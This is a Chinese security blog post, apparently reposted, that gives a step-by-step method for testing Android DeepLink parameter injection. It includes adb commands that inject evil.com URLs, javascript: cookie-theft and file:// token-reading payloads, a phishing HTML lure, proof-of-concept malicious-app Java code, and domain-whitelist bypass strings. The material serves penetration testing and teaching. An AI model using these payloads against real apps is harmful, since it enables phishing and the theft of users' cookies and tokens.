文章总结: 本文系统阐述AndroidDeepLink参数注入漏洞的测试方法,涵盖漏洞原理、常见类型、完整测试流程及白名单绕过技巧。文章提供从信息收集、基础触发到Payload扩展的实战步骤,并给出恶意HTML与POCApp验证方案,对移动安全测试人员具有较强实操参考价值。
综合评分: 82
文章分类: 移动安全,漏洞分析,渗透测试
deeplink参数注入
原创
信安路漫漫
信安路漫漫
信安路漫漫
2026年9月24日 07:00
上海
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
DeepLink 漏洞简介
DeepLink(深度链接)是 Android 中通过 URL 唤起 App 特定页面的机制,通常注册在 AndroidManifest.xml 中:
<intent-filter> <action android:name="android.intent.action.VIEW" /> <category android:name="android.intent.category.DEFAULT" /> <category android:name="android.intent.category.BROWSABLE" /> <data android:scheme="cntaipingfxtp" /></intent-filter>
未做校验就直接使用(跳转、路由、WebView 加载等),就会形成 DeepLink 漏洞。核心问题是:外部可控输入 → 未校验 → 敏感操作。
该漏洞跟web的任意URL跳转类似,利用方法也都差不多。
常见漏洞类型
| | | |
| — | — | — |
| 类型 | 说明 | 危害 |
| 参数注入 | jump_scheme 、 routerData 等参数直接使用 | 任意页面跳转、路由劫持 |
| 任意 URL 加载 | WebView 加载外部 URL | 钓鱼、XSS、窃取 Token |
| 越权访问 | 通过 DeepLink 打开未授权页面 | 访问管理员/调试界面 |
| 路径遍历 | ../ 绕过路由白名单 | 加载内部敏感页面 |
| JavaScript 注入 | javascript: 伪协议未过滤 | 执行任意 JS,窃取 Cookie |
| File 协议读取 | file:// 未拦截 | 读取本地敏感文件 |
| 拒绝服务 | 超长/畸形参数 | 应用崩溃 |
| Intent 重定向 | 转发 Intent 到未导出组件 | 绕过 exported 限制 |
测试流程
① 信息收集 pm list packages → dumpsys package → aapt dump badging ↓② 定位入口 找到 scheme + 导出的 SplashActivity + 目标参数名 ↓③ 基础触发 am start -a VIEW -d "scheme://?param=payload" am start -n 包名/.Splash --es param payload ↓④ 日志观察 logcat | grep Scheme/Router/Crash ↓⑤ Payload 扩展 URL / XSS / File / 路径遍历 / DoS / Intent 重定向 ↓⑥ 真实场景 恶意 HTML 页面 + 第三方 POC App + onNewIntent ↓⑦ 白名单绕过(如被拦截) 子域名 / @ / 编码 / 协议变形 ↓⑧ 判定 跳转成功 / 崩溃 / 越权 = 漏洞成立
阶段一:信息收集(确认攻击面)
# 1. 找到包名adb shell pm list packages | grep -i 关键词 # 2. 查看 DeepLink 配置(scheme / host / path)adb shell dumpsys package 包名 | grep -A 10 "android.intent.action.VIEW" # 3. 确认导出的 Activityadb shell dumpsys package 包名 | grep -B 2 -A 5 "exported=true" # 4. 用 aapt 分析 APK(更准确)aapt dump badging app.apk | grep -E "package:|launchable-activity|scheme"aapt dump xmltree app.apk AndroidManifest.xml | grep -A 20 "intent-filter"
目标:拿到准确的 scheme、host、path、导出的 Activity 全路径。
阶段二:基础触发测试
测试 1:隐式 Intent(模拟真实攻击)
# 通过 DeepLink 触发,不指定组件adb shell am start -W -a android.intent.action.VIEW -d "cntaipingfxtp://?jump_scheme=https://evil.com"
测试 2:显式 Intent(已知 Activity 路径)
adb shell am start -n 包名/.ui.splash.SplashActivity --es jump_scheme "https://evil.com"
测试 3:组合注入
adb shell am start -n 包名/.ui.splash.SplashActivity \ --es jump_scheme "https://evil.com" \ --es routerData "admin_panel"
观察:应用是否加载 evil.com / 跳转到异常 Tab / 崩溃。
阶段三:日志监控(判断是否触发)
另开一个窗口:
adb logcat -c && adb logcat | grep -E "Scheme|Router|RootActivity|Splash|Crash|Exception"
关键信号:
l日志打印出你注入的 URL / 路由值 → 参数被接收
lActivityNotFoundException / NullPointerException → 参数被使用
lFATAL EXCEPTION → 拒绝服务成立
阶段四:Payload 扩展测试
| | | |
| — | — | — |
| 测试目标 | Payload | 预期结果 |
| 任意 URL 加载 | https://evil.com | WebView 加载外部页面 |
| XSS | javascript:alert(document.cookie) | 弹窗 / 执行 JS |
| 本地文件读取 | file:///data/data/包名/shared_prefs/token.xml | 读取敏感文件 |
| 路径遍历 | ../../admin | 绕过路由白名单 |
| 超长字符串 DoS | “A”*10000 | 应用崩溃 |
| 空字节截断 | admin%00user | 绕过校验 |
| Intent 重定向 | intent://…#Intent;component=包名/.内部Activity;end | 打开未导出组件 |
阶段五:真实攻击场景验证
- 恶意 HTML 页面(模拟钓鱼)
<!DOCTYPE html><html><body> <a href="cntaipingfxtp://?jump_scheme=https%3A%2F%2Fevil.com">点击领取奖励</a> <br> <a href="cntaipingfxtp://?jump_scheme=javascript%3Aalert(document.cookie)">测试XSS</a></body></html>
用模拟器浏览器打开此页面,点击链接。
- 第三方 POC App(模拟恶意应用)
Intent intent = new Intent();intent.setClassName("com.tp.test", "com.tp.test.ui.splash.SplashActivity");intent.putExtra("jump_scheme", "https://evil.com");intent.putExtra("routerData", "admin_panel");intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);startActivity(intent);
- onNewIntent 场景(App 已在后台)
# 先手动启动 App → 按 Home 键挂起# 再执行注入adb shell am start -n 包名/.ui.splash.SplashActivity --es jump_scheme "https://evil.com"
阶段六:白名单绕过测试(如果基础 Payload 被拦截)
如果应用校验了域名,尝试:
# 子域名绕过--es jump_scheme "https://tp.com.evil.com" # @ 符号绕过--es jump_scheme "https://[email protected]" # 反斜杠绕过--es jump_scheme "https://evil.com\.tp.com" # 协议绕过--es jump_scheme "//evil.com"--es jump_scheme "https:evil.com" # 编码绕过--es jump_scheme "https://evil.com%00.tp.com"--es jump_scheme "https://evil.com%2f..%2ftp.com"
如下图的一个实例,可以直接打开百度页面
手机直接打开了百度页面
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:信安路漫漫 信安路漫漫
信安路漫漫《deeplink参数注入》